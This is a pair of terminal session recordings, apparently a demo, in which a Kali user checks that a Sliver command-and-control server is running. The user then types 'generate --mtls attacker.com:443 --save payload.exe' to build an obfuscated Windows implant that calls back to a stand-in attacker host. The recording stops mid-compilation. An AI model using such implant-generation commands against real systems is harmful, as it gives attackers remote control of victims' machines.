[1.692461, "o", "\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37mt\u001b[24m\u001b[39m"]
[1.82293, "o", "\b\u001b[4m\u001b[37mt\u001b[4m\u001b[37me\u001b[24m\u001b[39m"]
[1.952538, "o", "\b\u001b[4m\u001b[37me\u001b[4m\u001b[37mm\u001b[24m\u001b[39m"]
[2.224932, "o", "\b\u001b[4m\u001b[37mm\u001b[4m\u001b[37mc\u001b[24m\u001b[39m"]
[2.479643, "o", "\b\u001b[4m\u001b[37mc\u001b[4m\u001b[37mt\u001b[24m\u001b[39m"]
[2.609046, "o", "\u001b[8D\u001b[24m\u001b[36ms\u001b[24m\u001b[36my\u001b[24m\u001b[36ms\u001b[24m\u001b[36mt\u001b[24m\u001b[36me\u001b[24m\u001b[36mm\u001b[24m\u001b[36mc\u001b[24m\u001b[36mt\u001b[36ml\u001b[39m"]
[2.8689, "o", " "]
[3.562389, "o", "\u001b[1ms\u001b[0m"]
[3.646269, "o", "\b\u001b[0mst"]
[3.763246, "o", "a"]
[3.923354, "o", "t"]
[3.944407, "o", "u"]
[4.055406, "o", "s"]
[4.168779, "o", " "]
[4.353452, "o", "\u001b[1ms\u001b[0m"]
[4.571669, "o", "\b\u001b[1ms\u001b[1ml\u001b[0m"]
[4.582569, "o", "\b\b\u001b[0ms\u001b[0mli"]
[4.625017, "o", "v"]
[4.77009, "o", "e"]
[4.848588, "o", "r"]
[5.619327, "o", "\u001b[?1l\u001b>"]
[5.623929, "o", "\u001b[?2004l\r\r\n"]
[5.636017, "o", "\u001b[?1h\u001b=\r"]
[5.639311, "o", "\u001b[0;1;32m●\u001b[0m sliver.service - Sliver\u001b[m\r\n Loaded: loaded (\u001b]8;;file://kali/etc/systemd/system/sliver.service\u0007/etc/systemd/system/sliver.service\u001b]8;;\u0007; \u001b[0;1;38;5;185mdisabled\u001b[0m; preset: \u001b[0;1;38;5;185mdisabled\u001b[0m)\u001b[m\r\n Active: \u001b[0;1;32mactive (running)\u001b[0m since Sun 2023-12-17 16:02:25 UTC; 4min 33s ago\u001b[m\r\n Main PID: 4942 (sliver-server)\u001b[m\r\n Tasks: 9 (limit: 4624)\u001b[m\r\n Memory: 20.2M\u001b[m\r\n CPU: 152ms\u001b[m\r\n CGroup: /system.slice/sliver.service\u001b[m\r\n └─\u001b[0;38;5;245m4942 /root/sliver-server daemon\u001b[0m\u001b[m\r\n\u001b[m\r\nDec 17 16:02:25 kali systemd[1]: Started Sliver.\u001b[m\r\n"]
[5.639877, "o", "\r\u001b[K\u001b[?1l\u001b>"]
[15.640687, "o", " \r\r"]
@@ -0,0 +1,905 @@
{"version": 2, "width": 137, "height": 38, "timestamp": 1702834090, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
[0.084636, "o", " \r\r"]
[0.137311, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
[0.137854, "o", "\u001b[?1h\u001b="]
[0.138805, "o", "\u001b[?2004h"]
[1.126586, "o", "\u001b[1ms\u001b[0m"]
[1.127617, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"]
[1.233311, "o", "\b\u001b[1ms\u001b[39m\u001b[1ml\u001b[0m"]
[1.341486, "o", "\b\b\u001b[1ms\u001b[1ml\u001b[39m\u001b[1mi\u001b[0m"]
[1.645373, "o", "\b\u001b[1mi\u001b[39m\u001b[1mv\u001b[0m\u001b[38;2;153;153;153mv\u001b[38;2;153;153;153me\u001b[38;2;153;153;153mr\u001b[39m\b\b\b"]
[1.651818, "o", "\b\u001b[1mv\u001b[39m\u001b[1me\u001b[0m\u001b[39m \u001b[39m \b\b"]
[1.652699, "o", "\u001b[38;2;153;153;153mr\u001b[39m\b"]
[1.724472, "o", "\b\b\b\b\b\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr\u001b[39m"]
[2.169426, "o", "\u001b[?1l\u001b>"]
[2.172204, "o", "\u001b[?2004l\r\r\n"]
[2.23265, "o", "Connecting to localhost:31337 ...\r\n"]
[2.281037, "o", "\u001b[m"]
[2.283301, "o", "\u001b[32m\r\n ███████╗██╗ ██╗██╗ ██╗███████╗██████╗\r\n ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗\r\n ███████╗██║ ██║██║ ██║█████╗ ██████╔╝\r\n ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗\r\n ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║\r\n ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\r\n\u001b[0m\r\nAll hackers gain epic\r\n"]
[2.283811, "o", "\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"]
[2.28395, "o", "\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
[2.837538, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mg"]
[3.251842, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mge"]
[3.392601, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgen"]
[3.623616, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgene"]
[3.741996, "o", "\u001b[J\u001b[2K\r"]
[3.742093, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgener"]
[3.83311, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate "]
[4.377508, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate -"]
[4.529721, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --"]
[4.78866, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --m"]
[4.941, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mt"]
[5.111754, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtl"]
[5.516698, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls"]
[5.734855, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls "]
[6.152158, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls a"]
[6.361633, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls at"]
[6.522567, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls att"]
[6.664864, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls atta"]
[6.776953, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attac"]
[7.109455, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attack"]
[7.414159, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacke\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker"]
[7.645484, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker."]
[7.803638, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.c"]
[7.935967, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.co"]
[8.067311, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com"]
[8.852734, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:"]
[9.168342, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:4"]
[9.509949, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:44"]
[9.570568, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443"]
[9.902052, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 "]
[10.820721, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 -"]
[11.289457, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --s"]
[11.428343, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --sa"]
[11.800929, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --sav"]
[11.99739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save "]
[13.047743, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save p"]
[13.076903, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save pa"]
[13.180503, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save pay"]
[13.371461, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payl"]
[13.541123, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save paylo"]
[13.701165, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payloa"]
[13.891736, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload"]
[14.228103, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload."]
[14.278758, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.e"]
[14.505456, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.ex"]
[14.748707, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe"]
[14.995965, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe\r\n"]
[14.996554, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new windows/amd64 implant binary\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m\u001b[1mSymbol obfuscation is enabled\u001b[0m\r\n"]
[15.09658, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[15.196943, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[15.297363, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[15.397811, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[15.498252, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[15.598621, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[15.698978, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[15.799391, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[15.899706, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[16.000093, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[16.100436, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[16.200834, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[16.301236, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[16.402302, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[16.502202, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[16.602606, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[16.703545, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[16.803923, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[16.904345, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[17.004804, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[17.107086, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[17.207448, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[17.30791, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[17.409979, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[17.510282, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[17.610686, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[17.711194, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[17.81158, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[17.91203, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[18.012607, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[18.113031, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[18.213472, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[18.313829, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[18.414224, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[18.514641, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[18.615006, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[18.715383, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[18.815764, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[18.916181, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[19.01654, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[19.116966, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[19.217444, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[19.317961, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[19.418386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[19.518879, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[19.619285, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[19.719688, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[19.820085, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[19.920517, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[20.020952, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[20.121332, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[20.221723, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[20.322053, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[20.422471, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[20.522794, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[20.623194, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[20.723532, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[20.824103, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[20.924528, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[21.024932, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[21.125328, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[21.225707, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[21.326098, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[21.426502, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[21.526905, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[21.62734, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[21.727834, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[21.828239, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[21.928617, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[22.029032, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[22.129448, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[22.229866, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[22.330268, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[22.430544, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[22.531002, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[22.631396, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[22.731835, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[22.83223, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[22.932662, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[23.033073, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[23.13349, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[23.233919, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[23.334332, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[23.434734, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[23.53517, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[23.635537, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[23.735983, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[23.83638, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[23.936783, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[24.037207, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[24.137625, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[24.23802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[24.338431, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[24.438844, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[24.539315, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[24.639859, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[24.740283, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[24.840563, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[24.940951, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[25.041341, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[25.141754, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[25.242166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[25.342538, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[25.442828, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[25.543274, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[25.643646, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[25.744048, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[25.844474, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[25.944862, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[26.04527, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[26.145669, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[26.246022, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[26.346427, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[26.446809, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[26.547437, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[26.647862, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[26.748265, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[26.848674, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[26.949112, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[27.049475, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[27.149909, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[27.250325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[27.350729, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[27.451181, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[27.551524, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[27.651964, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[27.752368, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[27.852712, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[27.953117, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[28.053487, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[28.153895, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[28.254303, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[28.354715, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[28.455174, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[28.55554, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[28.655917, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[28.756324, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[28.856721, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[28.957117, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[29.057518, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[29.157906, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[29.258323, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[29.358717, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[29.459162, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[29.559542, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[29.659969, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[29.760376, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[29.86079, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[29.961203, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[30.061614, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[30.162019, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[30.262452, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[30.362853, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[30.46329, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[30.563723, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[30.664103, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[30.764499, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[30.864915, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[30.96533, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[31.06574, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[31.166147, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[31.266538, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[31.366946, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[31.467353, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[31.567944, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[31.668315, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[31.768691, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[31.869066, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[31.969645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[32.070051, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[32.170449, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[32.270833, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[32.372544, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[32.472682, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[32.573099, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[32.673483, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[32.773934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[32.874324, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[32.974716, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[33.075158, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[33.175511, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[33.275897, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[33.376301, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[33.476709, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[33.577097, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[33.677502, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[33.777879, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[33.878273, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[33.978686, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[34.079087, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[34.179484, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[34.279882, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[34.380285, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[34.480707, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[34.581175, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[34.681719, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[34.782143, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[34.88255, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[34.982957, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[35.083382, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[35.183815, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[35.284217, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[35.384615, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[35.485015, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[35.585432, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[35.685846, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[35.786276, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[35.886653, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[35.987056, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[36.087455, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[36.187854, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[36.288268, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[36.388651, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[36.489017, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[36.58937, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[36.689809, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[36.790236, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[36.890643, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[36.991048, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[37.091435, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[37.191873, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
